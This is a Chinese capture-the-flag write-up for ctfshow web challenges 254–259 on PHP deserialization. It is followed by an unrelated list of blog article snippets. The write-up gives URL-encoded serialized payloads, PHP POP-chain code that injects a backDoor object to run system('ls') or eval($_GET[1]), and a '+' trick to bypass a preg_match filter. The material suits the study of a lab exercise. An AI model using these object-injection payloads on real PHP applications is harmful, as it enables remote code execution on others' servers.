ctfshow——反序列化

文章目录

  • web 254——啥也没
  • web 255——反序列化对变量进行赋值(1)
  • web 256——反序列化对变量进行赋值(2)
  • web 257——对象注入
  • web 258——对象注入(绕过preg_match)
  • web 259

web 254——啥也没

在这里插入图片描述
在这里插入图片描述
这里就是使用GET传输,username赋值为xxxxxx,password也1赋值为xxxxxx

web 255——反序列化对变量进行赋值(1)

在这里插入图片描述
在这里插入图片描述
代码会对user变量进行反序列化,因此只需要GET传输的变量username和变量password的值与user变量反序列化得到的usernamepassword相等,且反序列化后的isVip等于True就行。
首先对类ctfShowUser进行序列化,PHP序列化和反序列化
在这里插入图片描述
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D,注意需要对user的值进行URL编码。
在这里插入图片描述

web 256——反序列化对变量进行赋值(2)

在这里插入图片描述
在这里插入图片描述
以上一题相比,其实就是反序列化的类中的变量usernamepassword不要相等即可,注意GET传参时也要做修改。payload:

//url
?username=xxxxxx&password=123`

//POST cookie
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web 257——对象注入

在这里插入图片描述
在这里插入图片描述
思路:主要还是利用backDoor类中的eval函数unserialize反序列化后,会自动调用__construct()魔术方法,让__construct()魔术方法直接$this->class=new backdoor(),然后销毁类ctfShowUser时,就会自动调用 backdoor中的getInfo函数,同时我们可以在序列化的时候赋值code=$code='system("ls");',这样就能执行系统命令了。

得到序列化数据payLoad:

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='system("ls");'; //或者$code='eval($_GET[1]);',然后使用GET传参
    public function getInfo(){
        eval($this->code);
    }
}

$ss=new ctfShowUser();
$content=serialize($ss);
echo (urlencode($content));

//payload
?username=x&password=y
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%22ls%22%29%3B%22%3B%7D%7D //COOkIE

注意使用urlencode进行url编码。

这样构造POP链也可以:

class ctfShowUser{

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code='eval($_GET[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

$ss=new ctfShowUser();
$content=serialize($ss);
echo urlencode($content);

//payload
??username=x&password=y&1=phpinfo();
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A15%3A%22eval%28%24_GET%5B1%5D%29%3B%22%3B%7D%7D //COOKIE
  • 上述代码为何可以执行成功,目前不太清楚。
  • 在执行unserialize之后,会自动执行魔术方法,只有执行完魔术方法,才会执行后续代码。

web 258——对象注入(绕过preg_match)

在这里插入图片描述
在这里插入图片描述
这一题主要就是对序列化内容进行过滤,主要过滤[oc]:数字:,字母不区分大小写。绕过方法:在数字前面加一个+

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='eval($_GET[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

$content=serialize(new ctfShowUser());
$a=str_replace('O:', 'O:+',$content); //绕过preg_match
echo $a;
echo (urlencode($a));

//payload
?username=x&password=y&1=phpinfo();
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A15%3A%22eval%28%24_GET%5B1%5D%29%3B%22%3B%7D%7D //COOKIE

web 259

生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/416485.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python光速入门 - Flask轻量级框架

FlASK是一个轻量级的WSGI Web应用程序框架,Flask的核心包括Werkzeug工具箱和Jinja2模板引擎,它没有默认使用的数据库或窗体验证工具,这意味着用户可以根据自己的需求选择不同的数据库和验证工具。Flask的设计理念是保持核心简单&#xff0c…

spring6学习笔记

1.环境准备 1.idea建立一个空项目,jdk要求是17 2.Maven配置(和mybatis里一样) 3.新建一个模块 2.ocp原则 3.依赖倒置原则(DIP) 什么是依赖倒置原则? 1.面向接口编程,面向抽象编程,不要面向…

Nginx----高性能的WEB服务端(四)

一、http 协议反向代理 1、反向代理:缓存功能 ​ proxy_cache zone_name | off; 默认off #指明调用的缓存,或关闭缓存机制;Context:http, server, location #zone_name 表示缓存的名称.需要由proxy_cache_path事先定义proxy_cache_key string; #缓存中…

win11开启IPV6并手动设置地址

win11开启IPV6并手动设置地址 ipv6手动设置 假设你想要配置的IPv6地址是2001:0db8:85a3:0000:0000:8a2e:0370:7334,子网前缀长度为64位,并且默认网关是2001:0db8:85a3::1。 手动配置IPv6地址的示例步骤(Windows操作系统)&#x…

基于springboot + vue实现的前后端分离-汽车票网上预定系统(项目 + 论文)

项目介绍 系统是一个B/S模式系统,采用Spring Boot框架,MySQL 数据库设计开发,充分保证系统的稳定性。系统具有界面清晰、操作简单,功能齐全的特点,使得汽车票网上预订系统管理工作系统化、规范化。本系统的使用使管理人…

一加 Ace 3 原神刻晴定制机正式发布 打造 2024 行业深度定制新标杆

2 月 28 日,备受广大加油及《原神》玩家期待的一加 Ace 3 原神刻晴定制机正式发布,16GB512GB 配置售价 3399 元,将于 3 月 5 日上午 10 点正式开售。除一加自有官方渠道外,一加 Ace 3 原神刻晴定制机也将在原神天猫旗舰店、抖音原…

【VSCode】解决VSCode远程连接问题:远程主机可能不符合 glibc 和 libstdc++

今天用VSCode进行ssh连接时,提示“远程主机可能不符合 glibc 和 libstdc VSCode 服务器的先决条件”。查了一下发现这个问题主要是由于VSCode在一月份发布的最新版本v1.86中要求远程主机 glibc>2.28导致的,所以ssh连接Ubuntu 18.04的时候就会提示这个…

面试数据库篇(mysql)- 12分库分表

拆分策略 垂直分库 垂直分库:以表为依据,根据业务将不同表拆分到不同库中。 特点: 按业务对数据分级管理、维护、监控、扩展在高并发下,提高磁盘IO和数据量连接数垂直分表:以字段为依据,根据字段属性将不同字段拆分到不同表中。 特点: 1,冷热数据分离 2,减少IO过渡争…

CentOS7如何使用Docker部署Wiki.Js知识库并实现公网远程访问?

文章目录 1. 安装Docker2. 获取Wiki.js镜像3. 本地服务器打开Wiki.js并添加知识库内容4. 实现公网访问Wiki.js5. 固定Wiki.js公网地址 不管是在企业中还是在自己的个人知识整理上,我们都需要通过某种方式来有条理的组织相应的知识架构,那么一个好的知识整…

YOLOv8改进 | 独家创新篇 | 结合SOTA思想利用双主干网络改进YOLOv8(全网独家创新,最重磅的更新)

一、本文介绍 本文给大家带来的改进机制是结合目前SOTAYOLOv9的思想利用双主干网络来改进YOLOv8(本专栏目前发布以来改进最大的内容,同时本文内容为我个人一手整理全网独家首发 | 就连V9官方不支持的模型宽度和深度修改我都均已提供,本文内容支持YOLOv8全系列模型从n到x均可…

什么是API接口测试

什么是 API ? API 是“应用程序编程接口”的缩写,是一种允许不同应用程序之间相互通信和交换数据的接口。就好像在餐厅点餐一样,你只需要告诉服务员你想要的食物,而不需要了解厨房中的具体操作,服务员会把你的订单传递…

博弈论---Nim游戏(公平组合游戏,概念,证明异或为0就是必败态,示例)

目录 概念: 公平组合游戏ICG 有向图游戏 Nim游戏 先手)必胜状态 先手)必败状态 如何确定先手是否必胜或者必败(都采用最优策略) 证明:全部异或为0则是必败状态 综上: 例子 概念&#…

如何对比 MySQL 主备数据的一致性?

随着业务范围的扩大,很多企业为了保障核心业务的高可用性,选择了 MySQL 主从架构,这一套方案通常具备主备数据同步、数据备份与恢复、读写分离、高可用切换等特性,是一种相当成熟可靠的数据库架构方案。然而这套方案在特定情况下可…

c#使用log4net的3种调用方法

https://blog.csdn.net/summer_top/article/details/107961245 第一步:下载log4net。 右键项目引用,进入管理NuGet包。 搜索log4net,下载安装。 第二步:创建LogHelper类。 public class LogHelper { private LogHelp…

Java泛型简介

Java泛型简介 Java泛型是在Java 5中引入的一个特性,它允许程序员在编译时指定类、接口或方法能够接受的类型。泛型的主要目的是提供编译时类型安全检查,避免在运行时因为类型转换错误而导致的ClassCastException。 在没有泛型之前,Java中的集…

Spring08、使用注解开发

8、使用注解开发 8.1、说明 在spring4之后&#xff0c;想要使用注解形式&#xff0c;必须得要引入aop的包 在配置文件当中&#xff0c;还得要引入一个context约束 <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.sprin…

SpringMVC 学习(五)之域对象

目录 1 域对象介绍 2 向 request 域对象共享数据 2.1 通过 ServletAPI (HttpServletRequest) 向 request 域对象共享数据 2.2 通过 ModelAndView 向 request 域对象共享数据 2.3 通过 Model 向 request 域对象共享数据 2.4 通过 map 向 request 域对象共享数据 2.5 通过…

采用广度优先搜索-BFS遍历图

基本思想 1.建立一个队列 2.把初始顶点加入&#xff0c;此后每次取出队首顶点进行访问 3.把从该顶点出发可以到达的&#xff0c;未曾加入过队列的顶点全部加入队列 4.不断取出&#xff0c;直至队列为空结束 遍历实现 1.邻接矩阵实现 const int maxn100; const int INF10000…

六自由度Stewart平台的matlab模拟与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 4.1运动学原理 4.2 Stewart平台运动学方程 5.完整工程文件 1.课题概述 六自由度Stewart平台的matlab模拟与仿真&#xff0c;模拟六自由度Stewart平台的动态变化情况以及伺服角度。 2.系统仿真结果 3.核…

Linux安装Nginx配置Keepalived高可用

Vmwaire 安装 Linux 解决启动没有IP地址问题 cd /etc/sysconfig/network-scripts vi ifcfg-ens33# 重启linux reboot # 再次查看ip ip addrLinux 镜像地址下载 ps: 发现阿里有一个工具箱&#xff0c;里面有各种镜像 阿里镜像地址 https://developer.aliyun.com/mirror/ 安装…